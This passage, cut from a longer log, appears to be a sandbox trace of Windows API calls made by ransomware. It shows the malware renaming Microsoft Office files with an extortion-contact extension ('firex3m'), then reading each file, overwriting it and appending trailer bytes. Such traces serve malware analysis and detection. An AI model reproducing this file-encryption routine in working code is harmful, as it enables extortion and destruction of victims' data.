Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 1 [0133.844] GetProcessHeap () returned 0x630000 [0133.844] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b4) returned 0x66a3e0 [0133.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0133.845] CloseHandle (hObject=0x710) returned 1 [0133.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.846] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0026~4.FIR")) returned 0x6d5200 [0133.869] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0133.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0133.882] GetProcessHeap () returned 0x630000 [0133.882] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x30e1) returned 0x722b8d8 [0133.882] GetProcessHeap () returned 0x630000 [0133.882] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x30e1) returned 0x72a8b58 [0133.883] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.883] ReadFile (in: hFile=0x710, lpBuffer=0x722b8d8, nNumberOfBytesToRead=0x30c0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722b8d8*, lpNumberOfBytesRead=0x433ff0c*=0x30c0, lpOverlapped=0x0) returned 1 [0135.936] GetProcessHeap () returned 0x630000 [0135.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0135.936] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.936] WriteFile (in: hFile=0x710, lpBuffer=0x72a8b58*, nNumberOfBytesToWrite=0x30c0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a8b58*, lpNumberOfBytesWritten=0x433ff0c*=0x30c0, lpOverlapped=0x0) returned 1 [0135.936] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.936] WriteFile (in: hFile=0x710, lpBuffer=0x72abc17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72abc17*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0135.936] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.936] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0135.936] CloseHandle (hObject=0x710) returned 1 [0135.937] GetProcessHeap () returned 0x630000 [0135.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a8b58 | out: hHeap=0x630000) returned 1 [0135.937] GetProcessHeap () returned 0x630000 [0135.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722b8d8 | out: hHeap=0x630000) returned 1 [0135.937] GetProcessHeap () returned 0x630000 [0135.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0135.937] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16f9474b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x30e6, dwReserved0=0xb1c7496, dwReserved1=0x722b8d0, cFileName="BL00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0026~4.FIR")) returned 0x6d5280 [0135.938] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0135.938] Sleep (dwMilliseconds=0x1) [0137.844] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF", len=0x44 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF") returned 1 [0137.845] GetProcessHeap () returned 0x630000 [0137.845] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71d5490, Size=0x12b0) returned 0x71d5490 [0137.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0137.901] CloseHandle (hObject=0x6a0) returned 1 [0137.901] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00833_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0137.925] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10149fbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10149fbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10149fbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00833_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PE0083~1.FIR")) returned 0x6d5200 [0137.926] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0137.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00833_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0137.926] GetProcessHeap () returned 0x630000 [0137.926] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1cc1) returned 0x7203db8 [0137.926] GetProcessHeap () returned 0x630000 [0137.926] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1cc1) returned 0x72cd448 [0137.926] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.926] ReadFile (in: hFile=0x6a0, lpBuffer=0x7203db8, nNumberOfBytesToRead=0x1ca0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7203db8*, lpNumberOfBytesRead=0x433ff0c*=0x1ca0, lpOverlapped=0x0) returned 1 [0137.954] GetProcessHeap () returned 0x630000 [0137.954] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0137.954] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.954] WriteFile (in: hFile=0x6a0, lpBuffer=0x72cd448*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72cd448*, lpNumberOfBytesWritten=0x433ff0c*=0x1ca0, lpOverlapped=0x0) returned 1 [0137.955] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.955] WriteFile (in: hFile=0x6a0, lpBuffer=0x72cf0e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72cf0e7*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.955] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.955] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.955] CloseHandle (hObject=0x6a0) returned 1 [0139.550] GetProcessHeap () returned 0x630000 [0139.550] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72cd448 | out: hHeap=0x630000) returned 1 [0139.550] GetProcessHeap () returned 0x630000 [0139.550] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7203db8 | out: hHeap=0x630000) returned 1 [0139.550] GetProcessHeap () returned 0x630000 [0139.550] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0139.550] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10149fbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10149fbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x192176e1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1cc4, dwReserved0=0xb1c7496, dwReserved1=0x7203db0, cFileName="PE00833_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PE0083~1.FIR")) returned 0x6d5200 [0139.551] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0139.551] Sleep (dwMilliseconds=0x1) [0140.550] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms", len=0x54 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 1 [0140.550] GetProcessHeap () returned 0x630000 [0140.550] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c20) returned 0x7203db8 [0140.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0142.697] CloseHandle (hObject=0x648) returned 1 [0142.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.245] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3fdcd93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3fdcd93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe40c1be1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4df2, dwReserved0=0x4708fdb2, dwReserved1=0x690066, cFileName="HomeBusinessR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEBU~1.FIR")) returned 0x6d54c0 [0143.245] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0143.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0143.245] GetProcessHeap () returned 0x630000 [0143.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e01) returned 0x71f7c78 [0143.245] GetProcessHeap () returned 0x630000 [0143.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e01) returned 0x71fca88 [0143.245] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.245] ReadFile (in: hFile=0x648, lpBuffer=0x71f7c78, nNumberOfBytesToRead=0x4de0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f7c78*, lpNumberOfBytesRead=0x433ff0c*=0x4de0, lpOverlapped=0x0) returned 1 [0143.644] GetProcessHeap () returned 0x630000 [0143.644] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0143.644] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.644] WriteFile (in: hFile=0x648, lpBuffer=0x71fca88*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fca88*, lpNumberOfBytesWritten=0x433ff0c*=0x4de0, lpOverlapped=0x0) returned 1 [0143.644] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.644] WriteFile (in: hFile=0x648, lpBuffer=0x7201867*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7201867*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0143.644] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.644] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0143.644] CloseHandle (hObject=0x648) returned 1 [0143.858] GetProcessHeap () returned 0x630000 [0143.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71fca88 | out: hHeap=0x630000) returned 1 [0143.858] GetProcessHeap () returned 0x630000 [0143.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f7c78 | out: hHeap=0x630000) returned 1 [0143.858] GetProcessHeap () returned 0x630000 [0143.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0143.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.859] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3fdcd93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3fdcd93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b9015f5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e16, dwReserved0=0xb1c7496, dwReserved1=0x71f7c70, cFileName="HomeBusinessR_Retail-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEBU~1.FIR")) returned 0x6d5340 [0143.859] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0143.859] Sleep (dwMilliseconds=0x1) [0143.873] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", len=0x41 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA") returned 1 [0143.873] GetProcessHeap () returned 0x630000 [0143.873] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x267c) returned 0x71f7c78 [0143.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0145.431] CloseHandle (hObject=0x6cc) returned 1 [0145.431] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.067] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.067] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GR8GALRY.GRA.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GR8GAL~1.FIR")) returned 0x6d4ec0 [0147.067] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0147.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0147.067] GetProcessHeap () returned 0x630000 [0147.067] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x700cc80 [0147.068] GetProcessHeap () returned 0x630000 [0147.068] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70180b0 [0147.068] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.068] ReadFile (in: hFile=0x6cc, lpBuffer=0x700cc80, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc80*, lpNumberOfBytesRead=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.525] GetProcessHeap () returned 0x630000 [0154.525] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee2b0 [0154.525] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.525] WriteFile (in: hFile=0x6cc, lpBuffer=0x70180b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70180b0*, lpNumberOfBytesWritten=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.526] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.526] WriteFile (in: hFile=0x6cc, lpBuffer=0x70234af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70234af*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0154.565] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.565] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0154.565] CloseHandle (hObject=0x6cc) returned 1 [0154.565] GetProcessHeap () returned 0x630000 [0154.565] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70180b0 | out: hHeap=0x630000) returned 1 [0154.565] GetProcessHeap () returned 0x630000 [0154.566] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700cc80 | out: hHeap=0x630000) returned 1 [0154.566] GetProcessHeap () returned 0x630000 [0154.566] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee2b0 | out: hHeap=0x630000) returned 1 [0154.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.566] FindFirstFileW (in: 